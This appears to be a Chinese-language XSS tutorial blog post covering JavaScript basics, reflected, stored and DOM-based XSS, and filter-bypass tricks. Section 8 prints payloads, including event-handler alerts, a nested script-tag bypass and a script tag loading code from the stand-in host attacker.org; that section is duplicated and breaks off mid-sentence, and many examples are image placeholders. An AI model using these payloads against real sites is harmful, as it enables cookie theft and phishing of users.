DAY18:XSS 漏洞

01、JavaScript 基本语法

这门语言可用于HTML web,如需在 HTML 页面中插入 JavaScript,使用 之间的 JavaScript。脚本可被放置在HTML页面的 和 部分中,也可以把脚本保存到外 部文件中。

XSS 需要用的 JavaScript 中许多知识,因此在学习 XSS 之前,需要了解 JavaScript 中的一些基本语法。

Boolean(布尔)			#取值:True,False
Number(数字)			#取值:整数和浮点数
String(字符串)		    #取值:所有字符串
Undefined(未定义)		#取值:只有一个值undefined
Null(空对象)		    #取值:只有一个值Null
Object(对象类型)	    #取值:任何对象、array、function等等,除Object是引用类型,其余都是基本类型

1.1、分号

分号用于分隔JavaScript语句,通常我们在每条可执行的语句结尾添加分号,使用分号的另一用 处是在一行中编写多条语句

(也可能看到不带有分号的案例。在 JavaScript 中,用分号来结束语句是可选的。)

1.2、JavaScript代码块

JavaScript语句通过代码块的形式进行组合,块由左花括号开始,由右花括号结束,块的作用是 使语句序列一起执行。JavaScript函数是将语句组合在块中的典型例子。

如操作两个HTML元素的函数:

jquery漏洞检测网站 javascript漏洞_jquery漏洞检测网站

1.3、JS 大小写

JavaScript 对大小写是敏感的,当编写 JavaScript 语句时,请留意是否关闭大小写切换键。函数 getElementByIdgetElementbyID 是不同的,同样,变量 myVariableMyVariable 也是不同的。

1.4、空格

JavaScript 会忽略多余的空格。 可以向脚本添加空格,来提高其可读性

1.5、对代码换行

在文本字符串中使用反斜杠对代码行进行换行

1.6、注释

JavaScript 不会执行注释,我们可以添加注释来对 JavaScript 进行解释,或者提高代码的可读性。单行注释以 // 开头,多行注释以/*开始,以*/结尾。注释也可用于调试时阻止代码运行。

1.7、变量

JavaScript 中创建变量通常称为“声明”变量,我们使用 var 关键词来声明变量, 如需像变量赋值,使用等号,向变量分配文本值时,应该用双引号或单引号包围这个值, 向变量赋的值是数值时,不要使用引号。一条语句可以声明多个变量横跨多行,使用逗号 分隔变量。变量大小写敏感。

1.8、JS函数

函数是由事件驱动的或者当它被调用时执行的可重复使用的代码块。

在调用函数时,可以向其传递值,这些值被称为参数。这些参数可以在函数中使用。可以发送任意多的参数,由逗号分隔,当声明函数时,需要把参数作为变量来声明,变量和参数必须以一致的顺序 出现,第一个变量就是第一个被传递的参数的给定的值,以此类推。

如果希望函数将值返回调用它的地方,通过使用 return 语句就可以实现,在使用 return 语句时,函 数会停止执行,并返回指定的值。

1.9、JS 局部变量与全局变量

JavaScript 函数内部声明的变量(使用 var)是局部变量,所以只能在函数内部访问它(该变量的 作用域是局部的)。

在不同的函数中可以使用名称相同的局部变量,因为只有声明过该变量的函数才 能识别出该变量,函数执行完后局部变量中的数据就会消失在函数外声明的变量是全局变量,网页上的所有脚本和函数都能访问它,在函数内定义,但不加var 声明的也是全局变量。

局部变量优先级高于同名全局变量。

jquery漏洞检测网站 javascript漏洞_javascript_02


jquery漏洞检测网站 javascript漏洞_javascript_03

1.10、JS条件语句、循环语句

在写代码时需要为不同的决定来执行不同的动作,这时可以在代码中使用条件语句来完成该任务。

if 语句 - 只有当指定条件为true时,使用该语句来执行代码 if...else 语句 - 当条件为true时执行代码,当条件为 false 时执行其他代码if...else if....else语句 - 使用该语句来选择多个代码块之一来执行 switch 语句 - 使用该语句来选择多个代码块之一来执行

如果希望一遍又一遍地运行相同的代码,并且每次的值都不同,那么使用循环是很方便的:

for - 循环代码块一定的次数

for/in - 循环遍历对象的属性

while - 当指定的条件为 true 时循环指定的代码块

do/while- 同样当指定的条件为 true 时循环指定的代码块

break 语句可用于跳出循环,break 语句跳出循环后,会继续执行该循环之后的代码(如果 有的话)

continue 语句中断循环中的迭代,如果出现了指定的条件,然后继续循环中的下一个迭代。

continue 语句(带有或不带标签引用)只能用在循环中。

break 语句(不带标签引用),只能用在循环或 switch 中。 break 语句可通过标签引用,用于跳出任何 JavaScript 代码块

2、HTML 与 JavaScript

2.1、操作HTML元素与改变HTML内容,写入HTML文档输出、改变HTML属性

(1)JavaScript 通常用于操作 HTML 元素。 如需从 JavaScript 访问某个 HTML 元素, 使用"id"属性来标识 HTML 元素,用document.getElementById(id) 方法。

(2)要将id="ab" 的 HTML 元 素 内 容 替 换(innerHTML)"Hellow World"使用 document.getElementById("ab").innerHT ML="Hellow World"改变其内容。

(3)JavaScript 如需将元素写入HTML文档输 出中,用document.write()

例如:要将元素写到HTML文档输出中:用document.write("内容")

注意:document.write() 仅仅向文档输 出内容,如果在文档已完成加载后执行 document.write,整个 HTML 页面将被覆盖

(4)如 需 改 变 HTML 元 素 的 属 性 , 用 document.getElementById(id).attribute=new value 这个语法。

例如:修改<img>元素<src>属性

jquery漏洞检测网站 javascript漏洞_jquery漏洞检测网站_04

2.2、JS消息框,警告框,确认框,提示框

(1)JS中可以创建三种消息框:警告框、确认框、提示框

jquery漏洞检测网站 javascript漏洞_xss_05

(2)警告框

jquery漏洞检测网站 javascript漏洞_javascript_06

(3)确认框

jquery漏洞检测网站 javascript漏洞_HTML_07

(4)提示框

提示框经常用于提示用户在进入页面前输入某个值,当提示框出现后,用户需要输入某个值,然后点击确认或取消按钮才能继续操纵。如果用户点击确认,那么返回值为输入的值, 如果用户点击取消,那么返回值为 null。

语法:prompt("文本","默认值")

jquery漏洞检测网站 javascript漏洞_xss_08

3、XSS基本原理

XSS攻击,通常是指恶意攻击者往Web页面里插入恶意的html代码,当用户浏览该页之时,嵌入Web里面的html代码会被执行,从而达到恶意攻击用户的目的

在HTML中常用到字符实体,对常用到的字符实体没有进行转译,导致完整的标签出现,在可输入的文本框等某些区域内输入特定的某些标签导致代码被恶意篡改

jquery漏洞检测网站 javascript漏洞_HTML_09

jquery漏洞检测网站 javascript漏洞_jquery漏洞检测网站_10

http特点:

1、请求应答模式(request,response)

2、灵活可拓展

3、可靠传输

4、无状态(影响 现实:每个请求都是独立的 需求:保持会话)

jquery漏洞检测网站 javascript漏洞_jquery漏洞检测网站_11


jquery漏洞检测网站 javascript漏洞_javascript_12

4、XSS漏洞危害

1.网络钓鱼,盗取各类用户的账号。
2.窃取用户Cookie,获取用户隐私,或者利用用户身份进一步执行操作。
3.劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转账、强制发表日志等。
4.强制弹出广告页面,刷流量等。
5.进行恶意操作,例如任意篡改页面信息,删除文章等,传播跨站脚本蠕虫,网页挂马等
6.进行基于大量的客户端攻击,如DDOS攻击。
7.结合其它漏洞,如CSRF漏洞。
8.进一步渗透网站。

5、Xss 漏洞----反射型XSS

5.1、反射型 XSS 漏洞概述

反射型 XSS 又被称为非存储型 XSS,攻击者通常会通过 URL 参数传入恶意语句从而实现攻击,由于我们的payload未经过一个存储的过程直接传到了用户浏览的页面上,所以也称之为非存储型 XSS 。 如图所示,攻击者在URL中插入恶意语句,并将带有恶意语句的 URL 发送给受害者,受害者想要打开这个网址变向服务器发送请求, 服务器接到请求后便进行响应,从而使受害者被攻击

jquery漏洞检测网站 javascript漏洞_javascript_13

5.2、反射型 XSS 的验证

jquery漏洞检测网站 javascript漏洞_xss_14


jquery漏洞检测网站 javascript漏洞_xss_15

6、Xss 漏洞----存储型XSS

6.1、存储型 XSS 漏洞概述

存储型 XSS 漏洞是因为服务器端将用户输入的恶意脚本没有通过任何验证就直接存储 在数据库,并且每次通过调用数据库的方式,将该恶意脚本在没有被编码或转义的情况下将数据呈现在浏览器上。

该XSS跨站脚本攻击将一直存在,所以存储型XSS是持久化的。不管其他用户何时访问该页面,则恶意脚本就会被触发代码执行,用于盗取其他用户的私人信息,这种XSS比较危险,容易造成蠕虫,盗取 Cookie 。

6.2、存储型 XSS 的验证

要成为存储型XSS攻击点,需满足以下两点:

1.有数据提交点以及回显点 
2.其中处理过程无危险字符转义处理或可绕过转义处理

攻击者在页面中插入 XSS 代码,服 务器将恶意代码传至数据库,当受害者浏览页面时服务器将代码取出从而实现攻击。

如图所示:攻击者构造 XSS 并将其存入数据库中,被攻击者在不知情的情况下访问了带有恶意脚本的页面,服务器将带有恶意脚本的页面返回给用户,浏览器解析页面从而实现攻击,并且数据返回至攻击者自己的恶意服务器中。

jquery漏洞检测网站 javascript漏洞_HTML_16

6.3、存储型XSS的危害

特别大,微博 6.9 事件

7、Xss 漏洞----DOM 式 XSS

7.1、DOM对象介绍

文档对象模型(Document Object Model),即大名鼎鼎的 DOM 。DOM 可以被认为是一种通过将页面元素以对象的树形方式表现,以便由Javascript组织处理的实现方法。

jquery漏洞检测网站 javascript漏洞_前端_17

简单的说,通过修改页面的 DOM 节点形成的 XSS ,就是 DOM based XSS。这里就要提及 JS 的极为重要的一个功能了,就是可以修改 DOM 节点。 那么如果我们将反射型 XSS 的 Payload用于修改 DOM 节点,那么可以修改页面任意元素,多用于钓鱼

7.2、DOM 型 XSS 的原理

与之前相同,需要满足以下两个条件

1.有数据提交点以及回显点 
2.其中处理过程无危险字符转义处理或可绕过转义处理

7.3、DOM 型 XSS 漏洞触发条件

DOM 式 XSS 触发方式与反射式 XSS 漏洞相同,反射式 XSS 的payload输出在 HTML 页面内,而 DOM 式payload并不在html页面内输出,但都需要用户主动点击才能触发,所以需要攻击者主动将包含payload的 URL 发送给用户点击,用户在打开页面后运行恶意代码,黑客完成攻击。

7.4、DOM 型 XSS 的实例

jquery漏洞检测网站 javascript漏洞_前端_18

8、XSS 漏洞 Bypass 技巧

8.1、XSS简单的过滤绕过

(1)输出至标签属性中

jquery漏洞检测网站 javascript漏洞_xss_19

(2)循环过滤关键词

jquery漏洞检测网站 javascript漏洞_xss_20

8.2、JavaScript事件绕过

我们可以像如下这样在元素中定义JavaScript事件:

<div onclick="alert('xss')">

这个 JavaScript 代码当有人点击它后就会被执行,同时还有其他事件如页面加载或移动鼠标都可以触发这些事件。

绝大部分的时间都被过滤器所移除了,但是依旧还有少量事件没有被过滤,例如,onmouseenter事件:

<div onmouseenter="alert('xss')">

当用户鼠标移动到div上时就会触发我们的代码。 另一个绕过的办法就是在属性和=之间插入一个空格。Magento在新版中依旧修复了这一问题。

<div onclick="alert('xss')">
1. FSCommand() (攻击者当需要在嵌入的Flash对象中执行时可以使用此事件)
2. onAbort() (当用户中止加载图片时)
3. onActivate() (当对象激活时)
4. onAfterPrint() (用户打印或进行打印预览后触发)
5. onAfterUpdate() (从数据源对象更新数据后由数据对象触发)
6. onBeforeActivate() (在对象设置为激活元素前触发)
7. onBeforeCopy() (攻击者在选中部分拷贝到剪贴板前执行攻击代码-攻击者可以通过执行
   execCommand("Copy")函数触发)
8. onBeforeCut() (攻击者在选中部分剪切到剪贴板前执行攻击代码)
9. onBeforeDeactivate() (在当前对象的激活元素变化前触发)
10.onBeforeEditFocus() (在一个包含可编辑元素的对象进入激活状态时或一个可编辑的对象被选中时触发)
11...................

8.3、Script 标签绕过

Script 标签可以用于定义一个行内的脚本或者从其他地方加载脚本:

<script>alert("XSS")</script>
<script src="http://attacker.org/malicious.js"></script>

而我们的过滤器移除了所有的

<scr<script>ipt>alert("XSS")</scr<script>ipt>

过滤器会移除两个

8.3、Script 标签绕过

Script 标签可以用于定义一个行内的脚本或者从其他地方加载脚本:

<script>alert("XSS")</script>
<script src="http://attacker.org/malicious.js"></script>

而我们的过滤器移除了所有的

<scr<script>ipt>alert("XSS")</scr<script>ipt>

过滤器会移除两个